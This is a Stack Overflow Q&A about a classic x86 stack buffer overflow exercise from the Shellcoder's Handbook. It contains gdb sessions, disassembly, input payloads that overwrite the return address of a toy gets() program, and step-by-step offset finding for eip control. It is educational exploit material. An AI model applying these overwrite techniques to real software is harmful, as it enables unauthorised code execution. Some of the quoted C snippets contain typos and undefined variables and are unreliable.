stack overflow (shellcoders handbook) - c

Question

I was taking at this example w.r.t. shellcoder's handbook(second edition), and have some question about the stack
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) set disassembly-flavor intel
(gdb) list
1 void ret_input(void){
2 char array[30];
3
4 gets(array);
5 printf("%s\n", array);
6 }
7 main(){
8 ret_input();
9
10 return 0;
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x24
0x0804841a <+6>: lea eax,[ebp-0x1e]
0x0804841d <+9>: mov DWORD PTR [esp],eax
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea eax,[ebp-0x1e]
0x08048428 <+20>: mov DWORD PTR [esp],eax
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb) break *0x08048420
Breakpoint 1 at 0x8048420: file sc.c, line 4.
(gdb) break *0x08048431
Breakpoint 2 at 0x8048431: file sc.c, line 6.
(gdb) run
Starting program: /root/pentest/sc
Breakpoint 1, 0x08048420 in ret_input () at sc.c:4
4 gets(array);
(gdb) x/20x $esp
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
Breakpoint 2, 0x08048431 in ret_input () at sc.c:6
6 }
(gdb) x/20x 0x0bffff51c
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) ^Z
[1]+ Stopped gdb -q sc
root#bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�
root#bt:~/pentest#
in this example i was taking 48 bytes "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" that to rewrite ret address, and all is work. But when i tried to use example from first edition of this book, i faced with some problem
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x24,%esp
0x0804841a <+6>: lea -0x1e(%ebp),%eax
0x0804841d <+9>: mov %eax,(%esp)
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea -0x1e(%ebp),%eax
0x08048428 <+20>: mov %eax,(%esp)
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb)
why program has taken 24(hex)=36(dec)bytes for array, but i used 48 that rewrite, 36 bytes of array, 8 bytes of esp and ebp(how i know), but there are steel have 4 unexplained bytes
ok, lets try out the sploit from first edition of book who rewrite all of array by address of call function, in book they had "sub &0x20,%esp" so code is
main(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x080484bb;
puts(array);
i have ""sub &0x24,%esp" so my code will be
main(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048435;
puts(array);
result of the shellcoders' handbook
[root#localhost /]# (./adress_to_char;cat) | ./overflow
input
""""""""""""""""""a<u___.input
input
input
and my result
root#bt:~/pentest# (./ad_to_ch;cat) | ./sc
5�h���ل$���������h����4��0��˄
inout
Segmentation fault
root#bt:~/pentest#
What's problem?
i was compiling with
-fno-stack-protector -mpreferred-stack-boundary=2

Answer 1

I suggest you better get the amount of bytes necessary to overflow the buffer by trying in GDB. I compiled the source you provided in your question and ran it through GDB:
gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]
(Do note that I use Python to create my input instead of a compiled C program. It really does not matter, use what you prefer.)
So 30 bytes are fine. Let's try some more:
gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ i r $eip
eip 0x41414141 0x41414141
Our eip register now contains 0x41414141, which is AAAA in ASCII. Now, we can gradually check where exactly we have to place the value in our buffer that updates eip:
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()
B is 0x42. Thus, we overwrote half of eip when using 40 A's and four B's. Therefore, we pad with 42 A's and then put the value we want to update eip with:
gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()
We got full control over eip! Let's try it. Set a breakpoint at the end of ret_input (your addresses may vary as I recompiled the binary):
gdb$ dis ret_input
Dump of assembler code for function ret_input:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x38,%esp
0x0804840a <+6>: lea -0x26(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310 <gets#plt>
0x08048415 <+17>: lea -0x26(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320 <puts#plt>
0x08048420 <+28>: leave
0x08048421 <+29>: ret
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421
As an example, let's modify eip so once returning from ret_input we end up at the beginning of the function again:
gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>: ret
0x8048422 <main>: push ebp
0x8048423 <main+1>: mov ebp,esp
0x8048425 <main+3>: and esp,0xfffffff0
0x8048428 <main+6>: call 0x8048404 <ret_input>
0x804842d <main+11>: mov eax,0x0
0x8048432 <main+16>: leave
0x8048433 <main+17>: ret
--------------------------------------------------------------------------------
Breakpoint 1, 0x08048421 in ret_input ()
We pad 42 A's and then append the address of ret_input to our buffer. Our breakpoint on the ret triggers.
gdb$ x/w $esp
0xffffd30c: 0x08048404
On top of the stack there's the last DWORD of our buffer - ret_input's address.
gdb$ n
0x08048404 in ret_input ()
gdb$ i r $eip
eip 0x8048404 0x8048404 <ret_input>
Executing the next instruction pops that value off the stack and sets eip accordingly.
On a side note: I recommend the .gdbinit file from this guy.

Answer 2

This row :
for (i=o;i<=44;i+=4);
Remove the ; from the end. I also assume that the o(letter o) instead of 0(zero) is mistyped here.
The problem is that your for loop is executing ; (a.k.a. do nothing) until i becomes larger then 44, and then you execute the next command with i = 44 wich is outside the bounds of array and you get Segmentation Error. You should watch out for this type of error as it is hardly visible and it is completely valid c code.